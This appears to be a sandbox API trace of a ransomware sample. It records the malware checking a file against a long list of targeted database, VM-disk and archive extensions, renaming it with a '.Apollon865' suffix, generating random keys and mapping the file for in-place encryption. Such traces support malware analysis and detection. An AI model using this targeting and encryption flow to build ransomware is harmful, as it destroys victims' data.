	[0085.495] lstrlenW (lpString=".dll") returned 4
	[0085.495] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".dll") returned 1
	[0085.495] lstrlenW (lpString=".lnk") returned 4
	[0085.495] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".lnk") returned 1
	[0085.495] lstrlenW (lpString=".ini") returned 4
	[0085.495] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".ini") returned 1
	[0085.495] lstrlenW (lpString=".sys") returned 4
	[0085.495] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".sys") returned 1
	[0085.495] lstrlenW (lpString="AdbeRdrUpd10110_MUI.msp") returned 23
	[0085.495] lstrlenW (lpString="bak") returned 3
	[0085.495] lstrcmpiW (lpString1="msp", lpString2="bak") returned 1
	[0085.495] lstrlenW (lpString="ba_") returned 3
	[0085.495] lstrcmpiW (lpString1="msp", lpString2="ba_") returned 1
	[0085.495] lstrlenW (lpString="dbb") returned 3
	[0085.495] lstrcmpiW (lpString1="msp", lpString2="dbb") returned 1
	[0085.495] lstrlenW (lpString="vmdk") returned 4
	[0085.495] lstrcmpiW (lpString1=".msp", lpString2="vmdk") returned -1
	[0085.495] lstrlenW (lpString="rar") returned 3
	[0085.495] lstrcmpiW (lpString1="msp", lpString2="rar") returned -1
	[0085.495] lstrlenW (lpString="zip") returned 3
	[0085.495] lstrcmpiW (lpString1="msp", lpString2="zip") returned -1
	[0085.495] lstrlenW (lpString="tgz") returned 3
	[0085.495] lstrcmpiW (lpString1="msp", lpString2="tgz") returned -1
	[0085.495] lstrlenW (lpString="vbox") returned 4
	[0085.495] lstrcmpiW (lpString1=".msp", lpString2="vbox") returned -1
	[0085.495] lstrlenW (lpString="vdi") returned 3
	[0085.496] lstrcmpiW (lpString1="msp", lpString2="vdi") returned -1
	[0085.496] lstrlenW (lpString="vhd") returned 3
	[0085.496] lstrcmpiW (lpString1="msp", lpString2="vhd") returned -1
	[0085.496] lstrlenW (lpString="vhdx") returned 4
	[0085.496] lstrcmpiW (lpString1=".msp", lpString2="vhdx") returned -1
	[0085.496] lstrlenW (lpString="avhd") returned 4
	[0085.496] lstrcmpiW (lpString1=".msp", lpString2="avhd") returned -1
	[0085.496] lstrlenW (lpString="db") returned 2
	[0085.496] lstrcmpiW (lpString1="sp", lpString2="db") returned 1
	[0085.496] lstrlenW (lpString="db2") returned 3
	[0085.496] lstrcmpiW (lpString1="msp", lpString2="db2") returned 1
	[0085.496] lstrlenW (lpString="db3") returned 3
	[0085.496] lstrcmpiW (lpString1="msp", lpString2="db3") returned 1
	[0085.496] lstrlenW (lpString="dbf") returned 3
	[0085.496] lstrcmpiW (lpString1="msp", lpString2="dbf") returned 1
	[0085.496] lstrlenW (lpString="mdf") returned 3
	[0085.496] lstrcmpiW (lpString1="msp", lpString2="mdf") returned 1
	[0085.496] lstrlenW (lpString="mdb") returned 3
	[0085.496] lstrcmpiW (lpString1="msp", lpString2="mdb") returned 1
	[0085.496] lstrlenW (lpString="sql") returned 3
	[0085.496] lstrcmpiW (lpString1="msp", lpString2="sql") returned -1
	[0085.496] lstrlenW (lpString="sqlite") returned 6
	[0085.496] lstrcmpiW (lpString1="UI.msp", lpString2="sqlite") returned 1
	[0085.496] lstrlenW (lpString="sqlite3") returned 7
	[0085.496] lstrcmpiW (lpString1="MUI.msp", lpString2="sqlite3") returned -1
	[0085.496] lstrlenW (lpString="sqlitedb") returned 8
	[0085.496] lstrcmpiW (lpString1="_MUI.msp", lpString2="sqlitedb") returned -1
	[0085.496] lstrlenW (lpString="xml") returned 3
	[0085.496] lstrcmpiW (lpString1="msp", lpString2="xml") returned -1
	[0085.496] lstrlenW (lpString="$er") returned 3
	[0085.496] lstrcmpiW (lpString1="msp", lpString2="$er") returned 1
	[0085.496] lstrlenW (lpString="4dd") returned 3
	[0085.496] lstrcmpiW (lpString1="msp", lpString2="4dd") returned 1
	[0085.496] lstrlenW (lpString="4dl") returned 3
	[0085.496] lstrcmpiW (lpString1="msp", lpString2="4dl") returned 1
	[0085.496] lstrlenW (lpString="^^^") returned 3
	[0085.496] lstrcmpiW (lpString1="msp", lpString2="^^^") returned 1
	[0085.496] lstrlenW (lpString="abs") returned 3
	[0085.497] lstrcmpiW (lpString1="msp", lpString2="abs") returned 1
	[0085.497] lstrlenW (lpString="abx") returned 3
	[0085.497] lstrcmpiW (lpString1="msp", lpString2="abx") returned 1
	[0085.497] lstrlenW (lpString="accdb") returned 5
	[0085.497] lstrcmpiW (lpString1="I.msp", lpString2="accdb") returned 1
	[0085.497] lstrlenW (lpString="accdc") returned 5
	[0085.497] lstrcmpiW (lpString1="I.msp", lpString2="accdc") returned 1
	[0085.497] lstrlenW (lpString="accde") returned 5
	[0085.497] lstrcmpiW (lpString1="I.msp", lpString2="accde") returned 1
	[0085.497] lstrlenW (lpString="accdr") returned 5
	[0085.497] lstrcmpiW (lpString1="I.msp", lpString2="accdr") returned 1
	[0085.497] lstrlenW (lpString="accdt") returned 5
	[0085.497] lstrcmpiW (lpString1="I.msp", lpString2="accdt") returned 1
	[0085.497] lstrlenW (lpString="accdw") returned 5
	[0085.497] lstrcmpiW (lpString1="I.msp", lpString2="accdw") returned 1
	[0085.497] lstrlenW (lpString="accft") returned 5
	[0085.497] lstrcmpiW (lpString1="I.msp", lpString2="accft") returned 1
	[0085.497] lstrlenW (lpString="adb") returned 3
	[0085.497] lstrcmpiW (lpString1="msp", lpString2="adb") returned 1
	[0085.497] lstrlenW (lpString="adb") returned 3
	[0085.497] lstrcmpiW (lpString1="msp", lpString2="adb") returned 1
	[0085.497] lstrlenW (lpString="ade") returned 3
	[0085.497] lstrcmpiW (lpString1="msp", lpString2="ade") returned 1
	[0085.497] lstrlenW (lpString="adf") returned 3
	[0085.497] lstrcmpiW (lpString1="msp", lpString2="adf") returned 1
	[0085.497] lstrlenW (lpString="adn") returned 3
	[0085.497] lstrcmpiW (lpString1="msp", lpString2="adn") returned 1
	[0085.497] lstrlenW (lpString="adp") returned 3
	[0085.497] lstrcmpiW (lpString1="msp", lpString2="adp") returned 1
	[0085.497] lstrlenW (lpString="alf") returned 3
	[0085.497] lstrcmpiW (lpString1="msp", lpString2="alf") returned 1
	[0085.497] lstrlenW (lpString="ask") returned 3
	[0085.497] lstrcmpiW (lpString1="msp", lpString2="ask") returned 1
	[0085.497] lstrlenW (lpString="btr") returned 3
	[0085.497] lstrcmpiW (lpString1="msp", lpString2="btr") returned 1
	[0085.497] lstrlenW (lpString="cat") returned 3
	[0085.497] lstrcmpiW (lpString1="msp", lpString2="cat") returned 1
	[0085.497] lstrlenW (lpString="cdb") returned 3
	[0085.498] lstrcmpiW (lpString1="msp", lpString2="cdb") returned 1
	[0085.498] lstrlenW (lpString="ckp") returned 3
	[0085.498] lstrcmpiW (lpString1="msp", lpString2="ckp") returned 1
	[0085.498] lstrlenW (lpString="cma") returned 3
	[0085.498] lstrcmpiW (lpString1="msp", lpString2="cma") returned 1
	[0085.498] lstrlenW (lpString="cpd") returned 3
	[0085.498] lstrcmpiW (lpString1="msp", lpString2="cpd") returned 1
	[0085.498] lstrlenW (lpString="dacpac") returned 6
	[0085.498] lstrcmpiW (lpString1="UI.msp", lpString2="dacpac") returned 1
	[0085.498] lstrlenW (lpString="dad") returned 3
	[0085.498] lstrcmpiW (lpString1="msp", lpString2="dad") returned 1
	[0085.498] lstrlenW (lpString="dadiagrams") returned 10
	[0085.498] lstrcmpiW (lpString1="10_MUI.msp", lpString2="dadiagrams") returned -1
	[0085.498] lstrlenW (lpString="daschema") returned 8
	[0085.498] lstrcmpiW (lpString1="_MUI.msp", lpString2="daschema") returned -1
	[0085.498] lstrlenW (lpString="db-journal") returned 10
	[0085.498] lstrcmpiW (lpString1="10_MUI.msp", lpString2="db-journal") returned -1
	[0085.498] lstrlenW (lpString="db-shm") returned 6
	[0085.498] lstrcmpiW (lpString1="UI.msp", lpString2="db-shm") returned 1
	[0085.498] lstrlenW (lpString="db-wal") returned 6
	[0085.498] lstrcmpiW (lpString1="UI.msp", lpString2="db-wal") returned 1
	[0085.498] lstrlenW (lpString="dbc") returned 3
	[0085.498] lstrcmpiW (lpString1="msp", lpString2="dbc") returned 1
	[0085.498] lstrlenW (lpString="dbs") returned 3
	[0085.498] lstrcmpiW (lpString1="msp", lpString2="dbs") returned 1
	[0085.498] lstrlenW (lpString="dbt") returned 3
	[0085.498] lstrcmpiW (lpString1="msp", lpString2="dbt") returned 1
	[0085.498] lstrlenW (lpString="dbv") returned 3
	[0085.498] lstrcmpiW (lpString1="msp", lpString2="dbv") returned 1
	[0085.498] lstrlenW (lpString="dbx") returned 3
	[0085.498] lstrcmpiW (lpString1="msp", lpString2="dbx") returned 1
	[0085.498] lstrlenW (lpString="dcb") returned 3
	[0085.498] lstrcmpiW (lpString1="msp", lpString2="dcb") returned 1
	[0085.498] lstrlenW (lpString="dct") returned 3
	[0085.498] lstrcmpiW (lpString1="msp", lpString2="dct") returned 1
	[0085.498] lstrlenW (lpString="dcx") returned 3
	[0085.498] lstrcmpiW (lpString1="msp", lpString2="dcx") returned 1
	[0085.498] lstrlenW (lpString="ddl") returned 3
	[0085.499] lstrcmpiW (lpString1="msp", lpString2="ddl") returned 1
	[0085.499] lstrlenW (lpString="dlis") returned 4
	[0085.499] lstrcmpiW (lpString1=".msp", lpString2="dlis") returned -1
	[0085.499] lstrlenW (lpString="dp1") returned 3
	[0085.499] lstrcmpiW (lpString1="msp", lpString2="dp1") returned 1
	[0085.499] lstrlenW (lpString="dqy") returned 3
	[0085.499] lstrcmpiW (lpString1="msp", lpString2="dqy") returned 1
	[0085.499] lstrlenW (lpString="dsk") returned 3
	[0085.499] lstrcmpiW (lpString1="msp", lpString2="dsk") returned 1
	[0085.499] lstrlenW (lpString="dsn") returned 3
	[0085.499] lstrcmpiW (lpString1="msp", lpString2="dsn") returned 1
	[0085.499] lstrlenW (lpString="dtsx") returned 4
	[0085.499] lstrcmpiW (lpString1=".msp", lpString2="dtsx") returned -1
	[0085.499] lstrlenW (lpString="dxl") returned 3
	[0085.499] lstrcmpiW (lpString1="msp", lpString2="dxl") returned 1
	[0085.499] lstrlenW (lpString="eco") returned 3
	[0085.499] lstrcmpiW (lpString1="msp", lpString2="eco") returned 1
	[0085.499] lstrlenW (lpString="ecx") returned 3
	[0085.499] lstrcmpiW (lpString1="msp", lpString2="ecx") returned 1
	[0085.499] lstrlenW (lpString="edb") returned 3
	[0085.499] lstrcmpiW (lpString1="msp", lpString2="edb") returned 1
	[0085.499] lstrlenW (lpString="epim") returned 4
	[0085.499] lstrcmpiW (lpString1=".msp", lpString2="epim") returned -1
	[0085.499] lstrlenW (lpString="fcd") returned 3
	[0085.499] lstrcmpiW (lpString1="msp", lpString2="fcd") returned 1
	[0085.499] lstrlenW (lpString="fdb") returned 3
	[0085.499] lstrcmpiW (lpString1="msp", lpString2="fdb") returned 1
	[0085.499] lstrlenW (lpString="fic") returned 3
	[0085.499] lstrcmpiW (lpString1="msp", lpString2="fic") returned 1
	[0085.499] lstrlenW (lpString="flexolibrary") returned 12
	[0085.499] lstrcmpiW (lpString1="0110_MUI.msp", lpString2="flexolibrary") returned -1
	[0085.499] lstrlenW (lpString="fm5") returned 3
	[0085.499] lstrcmpiW (lpString1="msp", lpString2="fm5") returned 1
	[0085.499] lstrlenW (lpString="fmp") returned 3
	[0085.499] lstrcmpiW (lpString1="msp", lpString2="fmp") returned 1
	[0085.499] lstrlenW (lpString="fmp12") returned 5
	[0085.500] lstrcmpiW (lpString1="I.msp", lpString2="fmp12") returned 1
	[0085.500] lstrlenW (lpString="fmpsl") returned 5
	[0085.500] lstrcmpiW (lpString1="I.msp", lpString2="fmpsl") returned 1
	[0085.500] lstrlenW (lpString="fol") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="fol") returned 1
	[0085.500] lstrlenW (lpString="fp3") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="fp3") returned 1
	[0085.500] lstrlenW (lpString="fp4") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="fp4") returned 1
	[0085.500] lstrlenW (lpString="fp5") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="fp5") returned 1
	[0085.500] lstrlenW (lpString="fp7") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="fp7") returned 1
	[0085.500] lstrlenW (lpString="fpt") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="fpt") returned 1
	[0085.500] lstrlenW (lpString="frm") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="frm") returned 1
	[0085.500] lstrlenW (lpString="gdb") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="gdb") returned 1
	[0085.500] lstrlenW (lpString="gdb") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="gdb") returned 1
	[0085.500] lstrlenW (lpString="grdb") returned 4
	[0085.500] lstrcmpiW (lpString1=".msp", lpString2="grdb") returned -1
	[0085.500] lstrlenW (lpString="gwi") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="gwi") returned 1
	[0085.500] lstrlenW (lpString="hdb") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="hdb") returned 1
	[0085.500] lstrlenW (lpString="his") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="his") returned 1
	[0085.500] lstrlenW (lpString="ib") returned 2
	[0085.500] lstrcmpiW (lpString1="sp", lpString2="ib") returned 1
	[0085.500] lstrlenW (lpString="idb") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="idb") returned 1
	[0085.500] lstrlenW (lpString="ihx") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="ihx") returned 1
	[0085.500] lstrlenW (lpString="itdb") returned 4
	[0085.500] lstrcmpiW (lpString1=".msp", lpString2="itdb") returned -1
	[0085.500] lstrlenW (lpString="itw") returned 3
	[0085.500] lstrcmpiW (lpString1="msp", lpString2="itw") returned 1
	[0085.501] lstrlenW (lpString="jet") returned 3
	[0085.501] lstrcmpiW (lpString1="msp", lpString2="jet") returned 1
	[0085.501] lstrlenW (lpString="jtx") returned 3
	[0085.501] lstrcmpiW (lpString1="msp", lpString2="jtx") returned 1
	[0085.501] lstrlenW (lpString="kdb") returned 3
	[0085.501] lstrcmpiW (lpString1="msp", lpString2="kdb") returned 1
	[0085.501] lstrlenW (lpString="kexi") returned 4
	[0085.501] lstrcmpiW (lpString1=".msp", lpString2="kexi") returned -1
	[0085.501] lstrlenW (lpString="kexic") returned 5
	[0085.501] lstrcmpiW (lpString1="I.msp", lpString2="kexic") returned -1
	[0085.501] lstrlenW (lpString="kexis") returned 5
	[0085.501] lstrcmpiW (lpString1="I.msp", lpString2="kexis") returned -1
	[0085.501] lstrlenW (lpString="lgc") returned 3
	[0085.501] lstrcmpiW (lpString1="msp", lpString2="lgc") returned 1
	[0085.501] lstrlenW (lpString="lwx") returned 3
	[0085.501] lstrcmpiW (lpString1="msp", lpString2="lwx") returned 1
	[0085.501] lstrlenW (lpString="maf") returned 3
	[0085.501] lstrcmpiW (lpString1="msp", lpString2="maf") returned 1
	[0085.501] lstrlenW (lpString="maq") returned 3
	[0085.501] lstrcmpiW (lpString1="msp", lpString2="maq") returned 1
	[0085.501] lstrlenW (lpString="mar") returned 3
	[0085.501] lstrcmpiW (lpString1="msp", lpString2="mar") returned 1
	[0085.501] lstrlenW (lpString="marshal") returned 7
	[0085.501] lstrcmpiW (lpString1="MUI.msp", lpString2="marshal") returned 1
	[0085.501] lstrlenW (lpString="mas") returned 3
	[0085.501] lstrcmpiW (lpString1="msp", lpString2="mas") returned 1
	[0085.501] lstrlenW (lpString="mav") returned 3
	[0085.501] lstrcmpiW (lpString1="msp", lpString2="mav") returned 1
	[0085.501] lstrlenW (lpString="maw") returned 3
	[0085.501] lstrcmpiW (lpString1="msp", lpString2="maw") returned 1
	[0085.501] lstrlenW (lpString="mdbhtml") returned 7
	[0085.502] lstrcmpiW (lpString1="MUI.msp", lpString2="mdbhtml") returned 1
	[0085.502] lstrlenW (lpString="mdn") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="mdn") returned 1
	[0085.502] lstrlenW (lpString="mdt") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="mdt") returned 1
	[0085.502] lstrlenW (lpString="mfd") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="mfd") returned 1
	[0085.502] lstrlenW (lpString="mpd") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="mpd") returned 1
	[0085.502] lstrlenW (lpString="mrg") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="mrg") returned 1
	[0085.502] lstrlenW (lpString="mud") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="mud") returned -1
	[0085.502] lstrlenW (lpString="mwb") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="mwb") returned -1
	[0085.502] lstrlenW (lpString="myd") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="myd") returned -1
	[0085.502] lstrlenW (lpString="ndf") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="ndf") returned -1
	[0085.502] lstrlenW (lpString="nnt") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="nnt") returned -1
	[0085.502] lstrlenW (lpString="nrmlib") returned 6
	[0085.502] lstrcmpiW (lpString1="UI.msp", lpString2="nrmlib") returned 1
	[0085.502] lstrlenW (lpString="ns2") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="ns2") returned -1
	[0085.502] lstrlenW (lpString="ns3") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="ns3") returned -1
	[0085.502] lstrlenW (lpString="ns4") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="ns4") returned -1
	[0085.502] lstrlenW (lpString="nsf") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="nsf") returned -1
	[0085.502] lstrlenW (lpString="nv") returned 2
	[0085.502] lstrcmpiW (lpString1="sp", lpString2="nv") returned 1
	[0085.502] lstrlenW (lpString="nv2") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="nv2") returned -1
	[0085.502] lstrlenW (lpString="nwdb") returned 4
	[0085.502] lstrcmpiW (lpString1=".msp", lpString2="nwdb") returned -1
	[0085.502] lstrlenW (lpString="nyf") returned 3
	[0085.502] lstrcmpiW (lpString1="msp", lpString2="nyf") returned -1
	[0085.503] lstrlenW (lpString="odb") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="odb") returned -1
	[0085.503] lstrlenW (lpString="odb") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="odb") returned -1
	[0085.503] lstrlenW (lpString="oqy") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="oqy") returned -1
	[0085.503] lstrlenW (lpString="ora") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="ora") returned -1
	[0085.503] lstrlenW (lpString="orx") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="orx") returned -1
	[0085.503] lstrlenW (lpString="owc") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="owc") returned -1
	[0085.503] lstrlenW (lpString="p96") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="p96") returned -1
	[0085.503] lstrlenW (lpString="p97") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="p97") returned -1
	[0085.503] lstrlenW (lpString="pan") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="pan") returned -1
	[0085.503] lstrlenW (lpString="pdb") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="pdb") returned -1
	[0085.503] lstrlenW (lpString="pdm") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="pdm") returned -1
	[0085.503] lstrlenW (lpString="pnz") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="pnz") returned -1
	[0085.503] lstrlenW (lpString="qry") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="qry") returned -1
	[0085.503] lstrlenW (lpString="qvd") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="qvd") returned -1
	[0085.503] lstrlenW (lpString="rbf") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="rbf") returned -1
	[0085.503] lstrlenW (lpString="rctd") returned 4
	[0085.503] lstrcmpiW (lpString1=".msp", lpString2="rctd") returned -1
	[0085.503] lstrlenW (lpString="rod") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="rod") returned -1
	[0085.503] lstrlenW (lpString="rodx") returned 4
	[0085.503] lstrcmpiW (lpString1=".msp", lpString2="rodx") returned -1
	[0085.503] lstrlenW (lpString="rpd") returned 3
	[0085.503] lstrcmpiW (lpString1="msp", lpString2="rpd") returned -1
	[0085.503] lstrlenW (lpString="rsd") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="rsd") returned -1
	[0085.504] lstrlenW (lpString="sas7bdat") returned 8
	[0085.504] lstrcmpiW (lpString1="_MUI.msp", lpString2="sas7bdat") returned -1
	[0085.504] lstrlenW (lpString="sbf") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="sbf") returned -1
	[0085.504] lstrlenW (lpString="scx") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="scx") returned -1
	[0085.504] lstrlenW (lpString="sdb") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="sdb") returned -1
	[0085.504] lstrlenW (lpString="sdc") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="sdc") returned -1
	[0085.504] lstrlenW (lpString="sdf") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="sdf") returned -1
	[0085.504] lstrlenW (lpString="sis") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="sis") returned -1
	[0085.504] lstrlenW (lpString="spq") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="spq") returned -1
	[0085.504] lstrlenW (lpString="te") returned 2
	[0085.504] lstrcmpiW (lpString1="sp", lpString2="te") returned -1
	[0085.504] lstrlenW (lpString="teacher") returned 7
	[0085.504] lstrcmpiW (lpString1="MUI.msp", lpString2="teacher") returned -1
	[0085.504] lstrlenW (lpString="tmd") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="tmd") returned -1
	[0085.504] lstrlenW (lpString="tps") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="tps") returned -1
	[0085.504] lstrlenW (lpString="trc") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="trc") returned -1
	[0085.504] lstrlenW (lpString="trc") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="trc") returned -1
	[0085.504] lstrlenW (lpString="trm") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="trm") returned -1
	[0085.504] lstrlenW (lpString="udb") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="udb") returned -1
	[0085.504] lstrlenW (lpString="udl") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="udl") returned -1
	[0085.504] lstrlenW (lpString="usr") returned 3
	[0085.504] lstrcmpiW (lpString1="msp", lpString2="usr") returned -1
	[0085.504] lstrlenW (lpString="v12") returned 3
	[0085.505] lstrcmpiW (lpString1="msp", lpString2="v12") returned -1
	[0085.505] lstrlenW (lpString="vis") returned 3
	[0085.505] lstrcmpiW (lpString1="msp", lpString2="vis") returned -1
	[0085.505] lstrlenW (lpString="vpd") returned 3
	[0085.505] lstrcmpiW (lpString1="msp", lpString2="vpd") returned -1
	[0085.505] lstrlenW (lpString="vvv") returned 3
	[0085.505] lstrcmpiW (lpString1="msp", lpString2="vvv") returned -1
	[0085.505] lstrlenW (lpString="wdb") returned 3
	[0085.505] lstrcmpiW (lpString1="msp", lpString2="wdb") returned -1
	[0085.505] lstrlenW (lpString="wmdb") returned 4
	[0085.505] lstrcmpiW (lpString1=".msp", lpString2="wmdb") returned -1
	[0085.505] lstrlenW (lpString="wrk") returned 3
	[0085.505] lstrcmpiW (lpString1="msp", lpString2="wrk") returned -1
	[0085.505] lstrlenW (lpString="xdb") returned 3
	[0085.505] lstrcmpiW (lpString1="msp", lpString2="xdb") returned -1
	[0085.505] lstrlenW (lpString="xld") returned 3
	[0085.505] lstrcmpiW (lpString1="msp", lpString2="xld") returned -1
	[0085.505] lstrlenW (lpString="xmlff") returned 5
	[0085.505] lstrcmpiW (lpString1="I.msp", lpString2="xmlff") returned -1
	[0085.505] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp.Apollon865") returned 77
	[0085.505] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp.Apollon865" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp.apollon865"), dwFlags=0x1) returned 1
	[0085.507] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp.Apollon865" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0085.507] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=17707008) returned 1
	[0085.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0085.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0085.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0085.507] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0085.508] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0085.508] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.508] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10e3300, lpName=0x0) returned 0x15c
	[0085.510] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1000000, dwNumberOfBytesToMap=0xe3300) returned 0x2bb0000
	[0085.841] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0085.841] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0085.841] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0085.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0085.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0085.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0085.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0085.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0085.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0085.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0085.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0085.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0085.842] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1
	[0085.851] CloseHandle (hObject=0x15c) returned 1
	[0085.851] CloseHandle (hObject=0x9c) returned 1
	[0085.851] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0085.851] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0085.851] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
